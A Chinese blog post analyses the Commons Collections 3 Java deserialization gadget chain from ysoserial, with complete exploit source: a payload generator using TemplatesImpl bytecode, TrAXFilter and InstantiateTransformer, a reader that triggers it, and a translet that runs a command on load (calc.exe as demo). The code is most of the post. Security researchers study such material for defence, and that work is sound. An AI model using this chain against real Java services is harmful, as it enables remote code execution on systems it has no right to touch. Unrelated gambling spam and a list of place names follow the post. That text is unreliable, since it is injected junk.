• java反序列化-ysoserial-調試分析總結篇(3)

    前言:

    這篇文章主要分析commoncollections3,這條利用鏈如yso描述,這個與cc1類似,只是反射調用方法是用的不是invokeTransformer而用的是InstantiateTransformer,整個調用過程如下圖

    利用鏈分析:

    如上圖所示,入口點還是Annotationinvoationhandler的Entryset

    此時將會調用membervalues.get,其中var4位entryset,而membervalues中存儲的為lazymap類的實例,即調用lazymap的get函數

    即接著調用chainedTransformer來對key進行轉換

    其中iTransformer中存儲了除了constantTransformer直接返回類,這里使用的類是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

    接下來到了InstantiateTransformer的transformer函數,這里面會拿到input對應類的參數類型為templates的構造函數,然后再實例化

    接著一路跟到TrAXFilter的構造函數中,可以看到這里實際上調用了templates.newTransformer,那我們知道templatesImpl的可以通過_bytecode

    接下來的過程就不在敘述,就是templates類的利用

    yso構造分析:

     yso在這里構造payload的時候,constantTransformer返回的是TrAxFilter類,然后再結合instantiateTransformer的transform函數可以拿到入口參數的構造函數,然后再實例化,實例化過程中將調用

    TrAxFilter的構造函數,從而調用templates.newTransformer

    exp:

    exp.java

    package CommonCollections3;
    
    import javassist.*;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.xml.transform.Templates;
    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.*;
    import java.util.HashMap;
    import java.util.Map;
    
    //
    //@Dependencies({"commons-collections:commons-collections:3.1"})
    //
    public class exp {
        public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
    
            //
            //構造Templates對象
            //
            TemplatesImpl tmp = new TemplatesImpl();
    
            //rce代碼塊的對象
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(payload.class));
            CtClass pay = pool.get(payload.class.getName());
            byte[] PayCode = pay.toBytecode();
    
            Class clazz;
            clazz  = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Field tf = clazz.getDeclaredField("_bytecodes");
            tf.setAccessible(true);
            tf.set(tmp,new byte[][]{PayCode});
            Field name = clazz.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(tmp,"tr1ple");
    
            HashMap InnerMap = new HashMap();
            Transformer[] trans = new Transformer[]{
             new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(
                            new Class[]{Templates.class},
                            new Object[]{tmp}
                            )
            };
    
            ChainedTransformer chined = new ChainedTransformer(trans);
            Map outmap = LazyMap.decorate(InnerMap,chined);
    
            final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            con.setAccessible(true);
            InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
            Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);
    
    
            //外層裝proxy代理
            final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            out_con.setAccessible(true);
            InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);
    
            //序列化
            File file;
            file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
            FileOutputStream fo = new FileOutputStream(file);
            ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
            ObjOut.writeObject(out_han);
    
        }
    }

    readobj.java

    package CommonCollections3;
    
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.lang.Runtime;
    
    public class readObj {
        public static void main(String[] args) {
            File file;
            file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
            try {
                ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
                obj.readObject();
                obj.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
        }
    
    }

    payload.java

    package CommonCollections3;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class payload extends AbstractTranslet {
        {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        public payload(){
            System.out.println("tr1ple 2333");
        }
    
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }

    這條利用鏈也是受jdk版本影響的,相較于cc2有局限性,和cc1相類似,外層包裝相同,只是內部chained轉換鏈變化了

    posted @ 2020-03-01 21:45  tr1ple  閱讀(...)  評論(...編輯  收藏
    贵州快三平台贵州快三主页贵州快三网站贵州快三官网贵州快三娱乐贵州快三开户贵州快三注册贵州快三是真的吗贵州快三登入贵州快三快三贵州快三时时彩贵州快三手机app下载贵州快三开奖 石屏县 | 潜江市 | 连云港市 | 望城县 | 福鼎市 | 泊头市 | 石阡县 | 崇仁县 | 新竹市 | 保康县 | 大洼县 | 临沧市 | 灵石县 | 上犹县 | 贵阳市 | 宜兰县 | 邢台市 | 额尔古纳市 | 江安县 | 台东县 | 军事 | 夏河县 | 金秀 | 巴南区 | 咸丰县 | 惠安县 | 瓦房店市 | 墨江 | 蕲春县 | 云和县 | 新晃 | 肥东县 | 报价 | 广饶县 | 正宁县 | 嘉善县 | 庆阳市 | 平度市 | 尼木县 | 抚顺县 | 瑞昌市 | 宁远县 | 安塞县 | 疏勒县 | 通化市 | 浙江省 | 长春市 | 辽中县 | 武邑县 | 金秀 | 忻城县 | 淅川县 | 海安县 | 澜沧 | 汶上县 | 万荣县 | 甘孜县 | 林口县 | 皋兰县 | 巢湖市 | 大兴区 | 沙洋县 | 吉木乃县 | 嘉荫县 | 株洲县 | 青海省 | 辉南县 | 浦城县 | 茶陵县 | 桐梓县 | 永年县 | 望奎县 | 兴化市 | 岳西县 | 寿光市 | 武鸣县 | 京山县 | 铅山县 | 新沂市 | 凌海市 | 武清区 | 瑞丽市 | 高青县 | 太保市 | 获嘉县 | 五家渠市 | 海阳市 | 合水县 | 长丰县 | 梓潼县 | 丹凤县 | 太仆寺旗 | 当涂县 | 汝南县 | 衡阳县 | 陆川县 | 邵东县 | 黄冈市 | 炎陵县 | 龙口市 | 镇江市 | 邢台市 | 工布江达县 | 托里县 | 上林县 | 东平县 | 金坛市 | 宜川县 | 泗水县 | 玉屏 | 常熟市 | 盈江县 | 江都市 | 江华 | 马鞍山市 | 那曲县 | 邯郸县 | 寿宁县 | 万宁市 | 两当县 | 台湾省 | 萝北县 | 永春县 | 天峨县 | 县级市 | 临潭县 | 泸水县 | 丘北县 | 犍为县 | 淮滨县 | 和平县 | 太仓市 | 巨鹿县 | 鄯善县 | 邵阳市 | 江山市 | 嘉义县 | 汕头市 | 平乡县 | 丹巴县 | 辽宁省 | 肇庆市 | 和田县 | 万年县 | 盐边县 | 若羌县 | 桐乡市 | 清流县 | 诸城市 | 天等县 | 安岳县 | 尼玛县 | 禄劝 | 洛浦县 | 肃北 | 巴里 | 青阳县 | 高青县 | 尚志市 | 库尔勒市 | 汕头市 | 苏尼特左旗 | 霍州市 | 仁寿县 | 浙江省 | 云龙县 | 洮南市 | 晋宁县 | 虎林市 | 县级市 | 拜泉县 | 泌阳县 | 措美县 | 左权县 | 濉溪县 | 万宁市 | 南郑县 | 曲周县 | 定兴县 | 车致 | 肥乡县 | 镇宁 | 万州区 | 监利县 | 蚌埠市 | 大同市 | 平塘县 | 扶沟县 | 汤原县 | 天祝 | SHOW | 衡阳市 | 万全县 | 天峨县 | 泊头市 | 大冶市 | 镇巴县 | 北票市 | 佛山市 | 旬邑县 | 房产 | 沧州市 | 太仓市 | 河南省 | 潍坊市 | 桐庐县 | 满城县 |